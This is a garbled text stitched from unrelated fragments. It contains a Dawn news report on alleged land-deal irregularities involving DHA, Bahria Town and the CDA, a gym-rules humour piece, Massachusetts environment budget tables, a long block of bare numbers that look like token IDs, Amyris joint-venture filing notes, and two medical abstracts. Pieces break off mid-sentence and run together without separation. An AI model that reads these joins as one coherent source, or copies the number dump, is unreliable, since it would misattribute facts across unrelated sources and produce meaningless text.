Documents seen by Dawn show that alleged irregularities committed in the complicated land deals would extend FIA’s inquiry to Bahria Town (BT), land developer Habib Rafique (Private) Limited (HRL) and Employees Old-Age Benefit Institution (EOBI) also.
DHA Phase II Extension, spread over 55,000 kanals of land in Sihala, Rawat and Humak suburbs of Islamabad, was planned in 2005. The DHA acquired the land from private citizens and the CDA over a period of time but later involved BT, HRL and EOBI for developing the project, which is yet to materialise.
Last week, Abdul Zahoor took his complaint to the FIA, which referred the matter to the officials of the Islamabad zone for necessary action, according to FIA sources.
As for the CDA, it woke up suddenly to its rights after the May 11 general elections. Just five days after the elections threw up a new set of political rulers, it wrote a letter to the DHA inquiring about the 729 developed plots it was promised against 868 kanal prime land it had handed over to the DHA for Phase II Extension.
CDA Member Estate Shaista Sohail conveyed CDA’s concerns to the DHA in the letter.
She wrote: “The CDA Board has taken a serious view of the matter and desires that the DHA provide the requisite maps/layout plans and site demarcation of plots at the earliest. It is a matter of grave concern that while CDA handed over 868 kanals i.e. 108.5 acres of land to the Defence Housing Authority back in 2008-09, the DHA has failed to make good on its part of the agreement vis-à-vis handing over 729 developed plots to the CDA.”
Out of 729 committed plots, DHA handed simply files of only 682 plots. “For the remaining 47 plots, not even files have been handed for five years,” complained the letter, demanding “physical inspection of the plots, maps and layout plans and also coordinate for physical verification/inspection of the allotted plots at earliest.”
Documents available with Dawn say that in May 2005 DHA had formally requested then CDA Chairman Kamran Lashari for the transfer of its 868 kanal land to DHA for the Phase II Extension. The CDA acceded to the request only three years later.
Though the CDA spokesman Malik Saleem expressed ignorance over the matter, citizen Zahoor’s complaint alleged that former CDA chairman Tariq Mehmood Khan, under the influence of the former PPP government, signed the agreement for transferring the CDA land to the DHA in 2008.
His complaint said that in 2009 the DHA had merged the CDA land with the land of ‘Commoners Town’ that the DHA had already acquired.
He claimed that the then DHA administrator, in connivance with property tycoon Malik Riaz Hussain, his son Ahmed Ali Riaz, HRL and EOBI Chairman Zahid Iqbal Gondal, sold the CDA and Commoners Town land to the EOBI on very exorbitant rate and received Rs16 billion.
But, according to the complainant, the DHA later transferred that amount to Bahria Town’s account under an agreement.
DHA spokesman Mohammad Tariq could not be reached for comments despite repeated attempts, but a senior BT official said that mega projects like the Phase II Extension take time to complete.
Col (retired) Khalilur Rehman told Dawn that the project was being executed after completing all the legal requirements.
“There is nothing wrong with the project. We are ready to face any inquiry over the transparency of the project,” he said.
Comments (1) Closed
Saad(DXB)
Jul 02, 2013 10:16pm
Shameful... Simply shameful... Army should stick to its core job of protecting the borders and not get indulged into running Real Estate Development agencies (Like DHA) or Business entities (like AWT or Fauji Foundation). Pakistan is the only country is the world where the Army allocated prime pieces of land to its officers, many of whom have retired without seeing a single war.
Being an Ex-Army officer's son, I am fully aware how in every new DHA scheme, Brigadiers and General have plots reserved in their names. These plots cost a few hundred thousand and are immediately sold for millions to civilians.. This is prima face' corruption..
Anyone dare to challenge these facts?Jason Gay at [email protected] gives us another series of gym rules designed for healthier outcomes (for all) and the opportunity for a quick self assessment. Do you see yourself or anyone you know on this list?
This is our second Journal installment of Rules for Conquering the Gym, because let’s be honest: You probably have yet to conquer the gym. It’s OK. Gyms are tricky relationships. You fall in and out of love. Commitment fades. Maybe you have a torrid affair with ice cream sandwiches. All you know is that you used to go to that gym five times a week, and suddenly it becomes two, and then two becomes one, and one becomes none, and none becomes a brand new size of jeans.
Don’t give up! Exercise will keep you healthy and vibrant, happier than any shopping spree or Netflix frenzy, and you don’t need to chase a quick fix or run to a dodgy plastic surgeon. But you can use some encouragement. Here are our latest rules:
1. The first three months at the gym, you will not lose a drastic amount of weight. However, you will learn an amazing amount about Drew Barrymore while watching “Access Hollywood” on the elliptical trainer.
2. Focus on technique. Have an instructor teach you proper form. If you lift a barbell like a 129-year-old man bending over to pick up a turtle, you need some help.
3. No, you’re not getting a six-pack. You’re just trying to take off your shirt at the beach without people running to their cars.
4. Avoid gyms next to liquor stores and Cinnabons.
5. Consider investing in one of those fancy computer wristbands that measures how many calories you burn walking between birthday cake parties in the office |
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] | ,649,007
Budgetary Appropriations
$15,652,017
$18,083,518
Federal Grant Spending
$8,342,599
$9,464,467
Trust Spending
$10,139,839
$10,101,022
Office of the Secretary for Administration and Finance
$77,479,241
$77,479,241
Budgetary Appropriations
$63,035,841
$63,035,841
Capital
$14,443,400
$14,443,400
Office of the Secretary of Energy and Environmental Affairs
$3,425,000
$2,545,184
Capital
$3,425,000
$2,545,184
Totals
$134,053,266
$136,899,261
Government Function: Energy and Environment
Program Category: Fisheries, Wildlife and Habitat Management
Program: Ecological Restoration and Protection
For the purpose of restoring the health and integrity of the Commonwealth's rivers, wetlands, and watersheds.
Department
FY 2013
Projected Spending
FY 2014
Recommended Spending
Department of Conservation and Recreation
$7,700,000
$3,000,000
Capital
$7,700,000
$3,000,000
Department of Fish and Game
$487,626
$637,781
Budgetary Appropriations
$487,626
$637,781
Office of the Secretary of Energy and Environmental Affairs
$1,629,265
$1,911,493
Capital
$1,535,000
$1,794,803
Federal Grant Spending
$94,265
$116,690
Totals
$9,816,890
$5,549,274
Government Function: Energy and Environment
Program Category: Fisheries, Wildlife and Habitat Management
Program: Environmental Law Enforcement
For the purpose of protecting environmental and natural resources through enforcement of state and federal environmental laws and regulations, education, and public outreach including enforcement of boating and recreational vehicle laws and regulations, and registration of boats, all-terrain vehicles and snowmobiles.
Department
FY 2013
Projected Spending
FY 2014
Recommended Spending
Office of the Secretary of Energy and Environmental Affairs
$2,712,791
$2,715,549
Budgetary Appropriations
$2,388,049
$2,355,769
Federal Grant Spending
$324,742
$359,780
Totals
$2,712,791
$2,715,549
Government Function: Energy and Environment
Program Category: Fisheries, Wildlife and Habitat Management
Program: Fisheries, Wildlife, and Natural Heritage Management
For the purpose of managing wildlife, inland fisheries, and natural heritage programs including the protection of wild amphibians, reptiles, birds, mammals, freshwater and diadromous fish and endangered, threatened and special concern species.
Department
FY 2013
Projected Spending
FY 2014
Recommended Spending
Department of Agricultural Resources
$90,443
$99,529
Budgetary Appropriations
$90,443
$99,529
Department of Fish and Game
$12,817,595
$13,407,486
Budgetary Appropriations
$12,817,595
$13,407,486
Office of the Secretary of Energy and Environmental Affairs
$926,823
$888,374
Budgetary Appropriations
$507,610
$501,154
Capital
$260,000
$198,574
Federal Grant Spending
$159,213
$188,646
Totals
$13,834,861
$14,395,388
Government Function: Energy and Environment
Program Category: Fisheries, Wildlife and Habitat Management
Program: Habitat Protection
For the purpose of acquiring land and related habitat for preservation through assessments on sporting constituencies.
Department
FY 2013
Projected Spending
FY 2014
Recommended Spending
Department of Conservation and Recreation
$798,588
$877,999
Budgetary Appropriations
$798,588
$877,999
Department of Fish and Game
$70,856
$70,975
Budgetary Appropriations
$70,856
$70,975
Office of the Secretary of Energy and Environmental Affairs
$8,872,794
$6,921,265
Budgetary Appropriations
$150,000
$150,000
Capital
$8,440,000
$6,421,195
Federal Grant Spending
$282,794
$350,070
Totals
$9,742,237
$7,870,238
Government Function: Energy and Environment
Program Category: Fisheries, Wildlife and Habitat Management
Program: Marine Fisheries Licensing and Management
For the purpose of protecting and enhancing the Commonwealth's marine fishery resources through the promotion and regulation of commercial and sport fishing, as well as scientific research, education and outreach.
Department
FY 2013
Projected Spending
FY 2014
Recommended Spending
Department of Fish and Game
$6,605,093
$6,801,955
Budgetary Appropriations
$6,400,673
$6,590,300
Federal Grant Spending
$204,420
$211,655
Office of the Secretary of Energy and Environmental Affairs
$500,000
$305,498
Capital
$500,000
$305,498
Totals
$7,105,093
$7,107,453
Government Function: Energy and Environment
Program Category: Parks and Recreation
Program: Fishing and Boating Access
For the purpose of providing boat, canoe and fishing pier access sites on inland and coastal waters, great ponds and rivers in Massachusetts.
Department
FY 2013
Projected Spending
FY 2014
Recommended Spending
Department of Fish and Game
$591,273
$622,505
Budgetary Appropriations
$591,273
$622,505
Office of the Secretary of Energy and Environmental Affairs
$3,000,129
$3,271,034
Budgetary Appropriations
$1,910,439
$1,884,615
Capital
$700,000
$954,683
Federal Grant Spending
$389,690
$431,736
Totals
$3,591,403
$3,893,539
Government Function: Energy and Environment
Program Category: Parks and Recreation
Program: Parks Management and Operations
For the purpose of managing the Commonwealth's state park system including forests, parks, greenways, historic sites and landscapes, seashores, lakes, ponds, reservoirs and watersheds.
Department
FY 2013
Projected Spending
FY 2014
Recommended Spending
Department of Conservation and Recreation
$48,573,533
$51,884,259
Budgetary Appropriations
$20,978,952
$23,347,526
Capital
$26,488,833
$27,588,833
Federal Grant Spending
$1,105,748
$947,900
Joint Legislative Operations
$123,750
$0
Budgetary Appropriations
$123,750
$0
Totals
$48,697,283
$51,884,259
Government Function: Energy and Environment
Program Category: Parks and Recreation
Program: Parks and Recreation Public Safety
For the purpose of providing lifeguard and emergency services at pools, wading pools, spray decks, beaches, and inland ponds which the Commonwealth operates including providing security at the Massachusetts Statehouse and other park facilities.
Department
FY 2013
Projected Spending
FY 2014
Recommended Spending
Department of Conservation and Recreation
$14,871,779
$16,515,602
Budgetary Appropriations
$14,871,779
$16,515,602
Office of the Secretary of Energy and Environmental Affairs
$4,330,568
$4,320,966
|
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697,
3894,
275,
10733,
6584,
434,
2957,
15,
380,
6487,
5950,
642,
8322,
273,
697,
3894,
273,
10733,
6584,
434,
2036,
2957,
323,
253,
1264,
2607,
7402,
3919,
4562,
13,
4059,
347,
253,
8785,
2408,
273,
253,
6487,
434,
8149,
275,
10733,
6584,
369,
5058,
285,
11655,
275,
6714,
273,
253,
8785,
2408,
497,
8409,
407,
253,
25555,
273,
253,
6487,
434,
3894,
275,
253,
3720,
3064,
4795,
432,
253,
6036,
18875,
4676,
8,
3302,
7680,
15,
7567,
254,
281,
5838,
2145,
13,
346,
20536,
7021,
4480,
3518,
3,
323,
4278,
273,
643,
13122,
875,
253,
6487,
285,
10733,
6584,
15,
187,
187,
12481,
22138,
4448,
16181,
52,
17009,
378,
15,
55,
15,
187,
187,
688,
4596,
4072,
13,
253,
6487,
285,
12266,
4447,
500,
55,
5915,
15,
380,
1846,
17382,
273,
500,
55,
5915,
310,
26277,
9633,
313,
1235,
6,
16,
1235,
2673,
407,
253,
6487,
285,
12266,
13,
285,
253,
9013,
17382,
273,
500,
55,
5915,
310,
2233,
6,
9633,
407,
253,
6487,
15,
380,
44340,
452,
5821,
326,
500,
55,
5915,
457,
84,
4096,
310,
3710,
281,
24364,
253,
4637,
14297,
285,
11850,
824,
23937,
762,
352,
13,
5734,
285,
1919,
2057,
313,
74,
10,
12266,
1516,
84,
281,
564,
3579,
342,
2057,
253,
2120,
313,
37229,
293,
285,
11720,
7236,
10,
500,
55,
5915,
6264,
1320,
2086,
390,
253,
11720,
7236,
4445,
273,
253,
500,
55,
5915,
6264,
1320,
2086,
313,
263,
247,
773,
6826,
28722,
28455,
313,
2886,
10,
12266,
1516,
84,
281,
417,
4035,
697,
11497,
275,
253,
416,
7,
37,
8246,
285,
500,
55,
5915,
313,
263,
247,
773,
2302,
14,
6826,
28722,
28455,
390,
313,
12211,
10,
12266,
18418,
667,
273,
697,
3570,
281,
4489,
562,
253,
6487,
457,
84,
1600,
275,
500,
55,
5915,
15,
11977,
247,
3617,
28722,
13,
253,
7774,
285,
28284,
457,
4345,
273,
500,
55,
5915,
651,
320,
13799,
285,
1551,
456,
281,
320,
5185,
342,
253,
28284,
457,
4345,
32376,
407,
253,
4163,
4050,
3419,
36559,
313,
2887,
5838,
608,
13,
346,
11735,
85,
3,
285,
5838,
854,
13,
346,
11212,
13907,
3419,
36559,
6788,
187,
187,
510,
500,
55,
5915,
556,
271,
3302,
5347,
1320,
273,
17275,
17,
15,
18,
3041,
313,
36344,
1982,
5,
17,
15,
18,
3041,
1754,
327,
253,
6431,
2281,
347,
273,
3919,
4562,
13,
4104,
481,
380,
6487,
556,
3636,
500,
55,
5915,
347,
247,
657,
9051,
285,
3413,
326,
253,
6487,
310,
417,
253,
3625,
33452,
285,
3103,
8553,
323,
697,
8149,
275,
500,
55,
5915,
762,
253,
17382,
1332,
273,
15890,
15,
11977,
247,
346,
6826,
3,
3061,
13,
642,
1996,
685,
2800,
2607,
2720,
281,
4163,
4562,
13,
4022,
13,
253,
6487,
285,
12266,
403,
2424,
281,
15026,
253,
4163,
4050,
3419,
36559,
281,
4887,
253,
10459,
2605,
273,
500,
55,
5915,
13,
15026,
285,
1551,
366,
253,
7774,
273,
5864,
273,
500,
55,
5915,
13,
2457,
907,
285,
5194,
327,
247,
2620,
14,
2913,
2098,
285,
271,
3302,
7563,
13,
22950,
5054,
17036,
285,
1318,
273,
500,
55,
5915,
285,
4901,
715,
253,
12266,
7981,
4345,
15,
380,
6487,
588,
294,
45141,
697,
6803,
275,
4022,
1754,
327,
253,
2173,
2426,
273,
253,
2457,
28284,
8,
4345,
15,
187,
187,
52,
3788,
2102,
6187,
296,
5182,
3277,
30856,
3737,
322,
15,
34,
15,
187,
187,
688,
4162,
4267,
13,
253,
6487,
4232,
322,
3788,
2102,
6187,
296,
5182,
3277,
30856,
3737,
313,
263,
346,
52,
3788,
8375,
247,
6036,
18875,
342,
34215,
8698,
1689,
322,
15,
34,
15,
313,
263,
346,
52,
3685,
8698,
1689,
8375,
281,
1973,
247,
3275,
9509,
275,
10869,
15,
322,
3788,
310,
4441,
387,
253,
34215,
8698,
1689,
5499,
275,
2604,
324,
1954,
4818,
261,
13,
34215,
31138,
1375,
15,
380,
6036,
18875,
15486,
14631,
322,
3788,
452,
247,
1384,
807,
3302,
1307,
15,
187,
187,
1717,
187,
187,
52,
3788,
310,
7303,
407,
247,
1264,
3558,
9165,
9353,
13,
273,
534,
253,
6487,
6544,
84,
767,
2758,
13,
581,
273,
5207,
310,
253,
4444,
7205,
665,
310,
253,
954,
8474,
9165,
5506,
323,
14419,
253,
5140,
285,
4254,
273,
253,
9509,
15,
322,
3788,
310,
17886,
407,
247,
1740,
3558,
4450,
273,
17970,
13,
273,
534,
253,
6487,
285,
34215,
8698,
1689,
1016,
6544,
767,
2758,
15,
380,
4450,
273,
17970,
556,
2176,
12107,
3570,
534,
2486,
2457,
9612,
273,
253,
11369,
11809,
285,
2199,
789,
2098,
3715,
285,
8521,
407,
253,
9165,
9353,
15,
187,
187,
510,
6036,
18875,
15486,
2430,
253,
6487,
281,
3187,
253,
5140,
4815,
273,
253,
747,
9509,
285,
34215,
8698,
1689,
651,
27533,
253,
6487,
598,
281,
416,
5,
3832,
15,
25,
3041,
313,
36344,
1982,
5,
746,
15,
20,
3041,
1754,
327,
253,
6431,
2281,
347,
273,
3919,
4562,
13,
4104,
10,
273,
253,
5140,
4815,
846,
322,
3788,
764,
2979,
3275,
15,
2732,
6264,
1320,
13,
253,
6487,
651,
2791,
285,
16969,
22138,
4448,
27606,
3580,
4197,
407,
322,
3788,
285,
34215,
8698,
1689,
651,
5580,
3997,
17764,
285,
2085,
2176,
643,
3238,
281,
322,
3788,
15,
380,
2105,
273,
253,
3997,
17764,
281,
322,
3788,
651,
320,
247,
4376,
326,
310,
1754,
327,
253,
3388,
1091,
326,
34215,
8698,
1689,
812,
4763,
432,
253,
3275,
273,
697,
1655,
3580,
13,
8618,
285,
16075,
15,
380,
6487,
651,
320,
2424,
281,
7471,
253,
3453,
273,
322,
3788,
323,
253,
806,
1740,
1107,
387,
247,
4376,
326,
23632,
253,
1091,
273,
34215,
8698,
1689,
457,
84,
8149,
5043,
247,
4229,
1600,
2281,
15,
2732,
436,
1740,
807,
2180,
13,
253,
4376,
651,
320,
873,
281,
12215,
247,
2740,
14,
9154,
4376,
281,
322,
3788,
5043,
271,
5821,
2220,
1091,
15,
187,
187,
11752,
253,
2426,
273,
253,
6036,
18875,
15486,
13,
604,
253,
6487,
4916,
6537,
13,
3587,
390,
21719,
13,
407,
247,
32048,
273,
34215,
8698,
1689,
13,
840,
34215,
8698,
1689,
556,
253,
987,
281,
16270,
253,
6487,
457,
84,
1600,
275,
322,
3788,
15,
1310,
34215,
8698,
1689,
4916,
6537,
13,
3587,
390,
21719,
13,
407,
247,
32048,
273,
253,
6487,
13,
840,
253,
6487,
556,
253,
987,
281,
5580,
697,
1600,
275,
322,
3788,
281,
34215,
8698,
1689,
15,
496,
2057,
1083,
13,
253,
7471,
4376,
3091,
320,
3413,
275,
8956,
342,
253,
6036,
18875,
15486,
13,
285,
253,
6487,
651,
4035,
281,
452,
253,
14904,
281,
16270,
3580,
4197,
407,
322,
3788,
323,
253,
6414,
273,
253,
1307,
273,
253,
6186,
4345,
840,
275,
1055,
1014,
2167,
253,
6487,
651,
642,
3356,
320,
3206,
275,
322,
3788,
457,
84,
4323,
15,
187,
187,
510,
6487,
556,
247,
2456,
6,
12851,
1600,
275,
322,
3788,
15,
380,
6487,
556,
3636,
322,
3788,
347,
247,
657,
9051,
10376,
281,
253,
15890,
12925,
323,
16932,
839,
657,
9051,
84,
984,
253,
2408,
273,
2264,
17382,
8149,
387,
2495,
310,
417,
4209,
281,
9659,
322,
3788,
281,
15065,
697,
4712,
1293,
3081,
42272,
3901,
4832,
1329,
13,
347,
973,
347,
984,
253,
2905,
6264,
1320,
4345,
3400,
247,
22918,
5927,
4376,
12215,
15,
6166,
253,
2426,
273,
253,
6036,
18875,
4345,
13,
253,
6487,
38554,
253,
2216,
285,
5140,
4712,
13,
347,
973,
347,
3275,
285,
3268,
15,
496,
1635,
13,
253,
6487,
556,
253,
14904,
281,
3187,
253,
2216,
285,
5140,
4712,
1919,
6264,
1320,
310,
6786,
15,
41925,
281,
253,
5140,
3408,
13,
1097,
4676,
9696,
3187,
322,
3788,
323,
253,
1307,
273,
253,
6036,
18875,
15,
10635,
327,
1110,
2616,
13,
253,
6487,
369,
3413,
281,
452,
253,
1612,
281,
1480,
253,
4712,
326,
954,
3012,
3486,
322,
3788,
457,
84,
5054,
3045,
285,
253,
14904,
281,
15816,
11655,
285,
253,
987,
281,
4763,
5373,
15,
10022,
13,
253,
4832,
1543,
273,
322,
3788,
403,
2908,
275,
253,
6487,
457,
84,
33114,
4832,
7234,
285,
8322,
27855,
281,
34215,
8698,
1689,
457,
84,
1600,
275,
322,
3788,
403,
2361,
347,
1327,
1987,
19891,
6284,
275,
8790,
13535,
3927,
15,
187,
187,
510,
6487,
6312,
247,
1534,
5110,
273,
253,
5140,
273,
253,
747,
9509,
275,
4050,
15,
380,
6487,
14116,
5140,
273,
253,
9509,
275,
4072,
275,
1340,
281,
2770,
327,
21006,
285,
6498,
253,
6487,
434,
4577,
3275,
9509,
275,
4819,
85,
284,
13,
10869,
15,
496,
5080,
4059,
13,
253,
6487,
5966,
715,
271,
15129,
281,
253,
6036,
18875,
4345,
342,
34215,
8698,
1689,
534,
9300,
285,
14290,
2176,
638,
20137,
2136,
2098,
6095,
2905,
281,
253,
3818,
566,
420,
273,
5140,
387,
253,
6036,
18875,
11658,
4444,
285,
5239,
6593,
13,
2190,
643,
1841,
13,
313,
74,
10,
253,
6880,
273,
253,
20639,
323,
253,
37877,
273,
5871,
387,
253,
6036,
18875,
11658,
4444,
281,
642,
1996,
685,
1283,
2607,
1563,
253,
5140,
273,
253,
4444,
642,
1996,
685,
3919,
4562,
13,
4240,
13,
285,
313,
2886,
10,
253,
6880,
273,
271,
4500,
2918,
407,
34215,
8698,
1689,
281,
1973,
247,
1273,
1781,
14,
7527,
269,
1596,
265,
1751,
3275,
9509,
281,
642,
1996,
685,
4565,
4562,
13,
4765,
342,
253,
37877,
273,
5871,
387,
824,
1273,
9509,
281,
2826,
642,
1996,
685,
4162,
337,
13,
6247,
15,
187,
187,
31599,
68,
38846,
187,
187,
688,
4247,
4332,
13,
253,
6487,
5966,
715,
247,
3275,
2579,
4345,
313,
263,
253,
346,
31599,
68,
38846,
14297,
2807,
342,
30133,
68,
38846,
13,
3690,
15,
313,
263,
346,
31599,
68,
38846,
8375,
762,
534,
30133,
68,
38846,
3400,
1232,
2440,
285,
3275,
3238,
323,
253,
10264,
273,
2710,
6487,
3580,
387,
697,
44955,
9509,
275,
418,
15235,
13,
3729,
9756,
15,
380,
6487,
3580,
18461,
407,
30133,
68,
38846,
403,
9633,
285,
5939,
407,
253,
6487,
15,
37368,
281,
253,
2426,
273,
253,
30133,
68,
38846,
14297,
13,
253,
6487,
310,
2424,
281,
2075,
253,
10264,
285,
6498,
4815,
273,
253,
30133,
68,
38846,
9509,
13,
534,
310,
9940,
12718,
281,
253,
6833,
273,
22138,
4448,
3580,
15,
380,
3302,
1307,
273,
253,
30133,
68,
38846,
14297,
369,
323,
247,
767,
807,
2180,
764,
5537,
327,
5080,
337,
13,
4332,
285,
253,
30133,
68,
38846,
14297,
10660,
84,
8356,
323,
20946,
581,
14,
2913,
2426,
13,
5734,
19344,
407,
253,
6487,
15,
1716,
6259,
342,
253,
30133,
68,
38846,
14297,
13,
253,
6487,
671,
5966,
715,
247,
10154,
273,
3973,
7567,
10789,
14297,
342,
253,
1679,
263,
273,
253,
9509,
285,
2670,
44955,
407,
30133,
68,
38846,
313,
263,
253,
346,
13935,
6764,
14297,
6788,
3545,
2515,
273,
253,
16636,
6764,
14297,
13,
253,
1679,
263,
5821,
417,
281,
5580,
253,
9509,
285,
2670,
44955,
407,
30133,
68,
38846,
1309,
253,
1307,
273,
253,
30133,
68,
38846,
14297,
15,
496,
253,
2362,
326,
253,
1679,
263,
310,
3559,
342,
271,
3959,
281,
5580,
390,
21936,
281,
5580,
271,
9701,
32975,
13,
253,
6487,
556,
253,
987,
273,
806,
19963,
281,
16270,
352,
15,
187,
187,
510,
6487,
556,
3413,
326,
253,
11461,
342,
30133,
68,
38846,
4426,
7790,
347,
247,
657,
9051,
15,
380,
6487,
3413,
326,
352,
310,
253,
3625,
33452,
273,
436,
11461,
1580,
352,
556,
253,
1612,
949,
253,
4323,
9353,
689,
534,
352,
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510
] | vi if there are changes in events and circumstances impacting the power to direct activities that most significantly affect Novvi's economic success. Under the equity method, the Company's share of profits and losses are included in “Loss from investments in affiliates” in the condensed consolidated statements of operations. For the three months ended March 31, 2015 and 2014, the Company recorded $0.8 million and zero for its share of Novvi's net loss. The carrying amount of the Company's equity investment in Novvi as of both March 31, 2015 and 2014 was reduced to zero by its share in Novvi's loss. The Company recorded no amounts of its share of Novvi's net loss for the three months ended March 31, 2014 as the carrying amount of the Company's investment in Novvi was zero and losses in excess of the carrying amount were offset by the accretion of the Company's share in the basis difference resulting from the joint venture parties' initial contribution. Refer to Note 13, "Related Party Transactions" for details of other transactions between the Company and Novvi.
Total Amyris BioSolutions B.V.
In November 2013, the Company and Total formed JVCO. The common equity of JVCO is jointly owned (50%/50%) by the Company and Total, and the preferred equity of JVCO is 100% owned by the Company. The Parties have agreed that JVCO’s purpose is limited to executing the License Agreement and maintaining such licenses under it, unless and until either (i) Total elects to go forward with either the full (diesel and jet fuel) JVCO commercialization program or the jet fuel component of the JVCO commercialization program (or a “Go Decision”), (ii) Total elects to not continue its participation in the R&D Program and JVCO (or a “No-Go Decision”), or (iii) Total exercises any of its rights to buy out the Company’s interest in JVCO. Following a Go Decision, the articles and shareholders’ agreement of JVCO would be amended and restated to be consistent with the shareholders’ agreement contemplated by the July 2012 Agreements (see Note 5, "Debt" and Note 8, "Significant Agreements").
The JVCO has an initial capitalization of €0.1 million (approximately US$0.1 million based on the exchange rate as of March 31, 2015). The Company has identified JVCO as a VIE and determined that the Company is not the primary beneficiary and therefore accounts for its investment in JVCO under the equity method of accounting. Following a "Go" decision, no later than six months prior to July 31, 2016, the Company and Total are required to amend the July 2012 Agreements to reflect the corporate structure of JVCO, amend and restate the articles of association of JVCO, finalize and agree on a five-year plan and an initial budget, maximize economic viability and value of JVCO and enter into the Total license agreement. The Company will reevaluate its assessment in 2016 based on the specific terms of the final shareholders' agreement.
SMA Indústria Química S.A.
In April 2010, the Company established SMA Indústria Química (or "SMA"), a joint venture with São Martinho S.A. (or "São Martinho"), to build a production facility in Brazil. SMA is located at the São Martinho mill in Pradópolis, São Paulo state. The joint venture agreements establishing SMA have a 20 year initial term.
29
SMA is managed by a three member executive committee, of which the Company appoints two members, one of whom is the plant manager who is the most senior executive responsible for managing the construction and operation of the facility. SMA is governed by a four member board of directors, of which the Company and São Martinho each appoint two members. The board of directors has certain protective rights which include final approval of the engineering designs and project work plan developed and recommended by the executive committee.
The joint venture agreements require the Company to fund the construction costs of the new facility and São Martinho would reimburse the Company up to R$61.8 million (approximately US$19.3 million based on the exchange rate as of March 31, 2015) of the construction costs after SMA commences production. After commercialization, the Company would market and distribute Amyris renewable products produced by SMA and São Martinho would sell feedstock and provide certain other services to SMA. The cost of the feedstock to SMA would be a price that is based on the average return that São Martinho could receive from the production of its current products, sugar and ethanol. The Company would be required to purchase the output of SMA for the first four years at a price that guarantees the return of São Martinho’s investment plus a fixed interest rate. After this four year period, the price would be set to guarantee a break-even price to SMA plus an agreed upon return.
Under the terms of the joint venture agreements, if the Company becomes controlled, directly or indirectly, by a competitor of São Martinho, then São Martinho has the right to acquire the Company’s interest in SMA. If São Martinho becomes controlled, directly or indirectly, by a competitor of the Company, then the Company has the right to sell its interest in SMA to São Martinho. In either case, the purchase price shall be determined in accordance with the joint venture agreements, and the Company would continue to have the obligation to acquire products produced by SMA for the remainder of the term of the supply agreement then in effect even though the Company would no longer be involved in SMA’s management.
The Company has a 50% ownership interest in SMA. The Company has identified SMA as a VIE pursuant to the accounting guidance for consolidating VIEs because the amount of total equity investment at risk is not sufficient to permit SMA to finance its activities without additional subordinated financial support, as well as because the related commercialization agreement provides a substantive minimum price guarantee. Under the terms of the joint venture agreement, the Company directs the design and construction activities, as well as production and distribution. In addition, the Company has the obligation to fund the design and construction activities until commercialization is achieved. Subsequent to the construction phase, both parties equally fund SMA for the term of the joint venture. Based on those factors, the Company was determined to have the power to direct the activities that most significantly impact SMA’s economic performance and the obligation to absorb losses and the right to receive benefits. Accordingly, the financial results of SMA are included in the Company’s consolidated financial statements and amounts pertaining to São Martinho’s interest in SMA are reported as noncontrolling interests in subsidiaries.
The Company completed a significant portion of the construction of the new facility in 2012. The Company suspended construction of the facility in 2013 in order to focus on completing and operating the Company's smaller production facility in Brotas, Brazil. In February 2014, the Company entered into an amendment to the joint venture agreement with São Martinho which updated and documented certain preexisting business plan requirements related to the recommencement of construction at the joint venture operated plant and sets forth, among other things, (i) the extension of the deadline for the commencement of operations at the joint venture operated plant to no later than 18 months following the construction of the plant no later than March 31, 2017, and (ii) the extension of an option held by São Martinho to build a second large-scale farnesene production facility to no later than December 31, 2018 with the commencement of operations at such second facility to occur no later than April 1, 2019.
Glycotech
In January 2011, the Company entered into a production service agreement (or the "Glycotech Agreement") with Glycotech, Inc. (or "Glycotech"), under which Glycotech provides process development and production services for the manufacturing of various Company products at its leased facility in Leland, North Carolina. The Company products manufactured by Glycotech are owned and distributed by the Company. Pursuant to the terms of the Glycotech Agreement, the Company is required to pay the manufacturing and operating costs of the Glycotech facility, which is dedicated solely to the manufacture of Amyris products. The initial term of the Glycotech Agreement was for a two year period commencing on February 1, 2011 and the Glycotech Agreement renews automatically for successive one-year terms, unless terminated by the Company. Concurrent with the Glycotech Agreement, the Company also entered into a Right of First Refusal Agreement with the lessor of the facility and site leased by Glycotech (or the "ROFR Agreement"). Per conditions of the ROFR Agreement, the lessor agreed not to sell the facility and site leased by Glycotech during the term of the Glycotech Agreement. In the event that the lessor is presented with an offer to sell or decides to sell an adjacent parcel, the Company has the right of first refusal to acquire it.
The Company has determined that the arrangement with Glycotech qualifies as a VIE. The Company determined that it is the primary beneficiary of this arrangement since it has the power through the management committee over which it has majority control to direct the activities that most significantly impact Glycotech's economic performance. In addition, the Company is required to fund 100% of Glycotech's actual operating costs for providing services each month while the facility is in operation under the Glycotech Agreement. Accordingly, the Company consolidates the financial results of Glycotech. As of March 31, 2015, the carrying amounts of the consolidated VIE's assets and liabilities were not material to the Company's condensed consolidated financial statements.
30
The |
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] | search', 'eye-tracking', 'radiology OR radiography', 'mammogram OR mammography' published since the early 1960s until June 30, 2016. Some of the factors that have been identified to significantly influence radiologists' visual search patterns were (i) readers' expertise, (ii) Satisfaction of Search, (iii) readers' visual fatigue, (iv) readers' confidence in reporting abnormalities, (v) training received and (vi) readers' prior knowledge. Readers' level of expertise was the factor that has been identified to have the most significant impact on their visual search pattern. Eye-tracking studies have shown the differences in visual search patterns of readers with different levels of experience and not so surprisingly, more experienced readers have shown effective visual search strategies. Readers' expertise has also been found to have significant impact in their confidence in reporting abnormalities and their ability to discriminate lesions from background structures in medical images.Evidence for Mannitol as an Effective Agent Against Intracranial Hypertension: An Individual Patient Data Meta-analysis.
Mannitol is currently used to reduce intracranial pressure (ICP), but the evidence supporting its usefulness has been questioned. We aim to meta-analyze the effectiveness of mannitol in reducing ICP in adult patients with cerebral injuries and its dependency on baseline ICP values, comparing findings from individual patient data (IPD) and aggregated data (AD) meta-analysis performed on the same studies. We searched the Medline database, with no time limitation, through March 1, 2019. We selected studies for which IPD were available, with a before-after design, concerning adult patients with traumatic cerebral hemorrhages, subarachnoid hemorrhages, or hemorrhagic and ischemic stroke, treated with mannitol for increased intracranial hypertension. We extracted ICP values at baseline and at different time-points, and mannitol doses. We used a multilevel approach to account for multiple measurements on the same patient and for center variability. The AD meta-analysis and meta-regression were conducted using random-effects models. Three studies published IPD, and four authors shared their datasets. Two authors did not own their datasets anymore. Eight authors were unreachable, while 14 did not answer to our request. Overall, 7 studies provided IPD for 98 patients. The linear mixed-effects model showed that ICP decreased significantly after mannitol administration from an average baseline value of 22.1 mmHg to 16.8, 12.8, and 9.7 mmHg at 60, 120, and 180 min after mannitol administration. ICP reduction was proportional to baseline values with a 0.64 mmHg decrease for each unitary increment of the initial ICP value. Dose did not influence ICP reduction. The AD meta-analysis, based on data collected between 30 and 60 min from mannitol administration not accounting for multiple time-point measurements, overestimated ICP reduction (10 mmHg), while 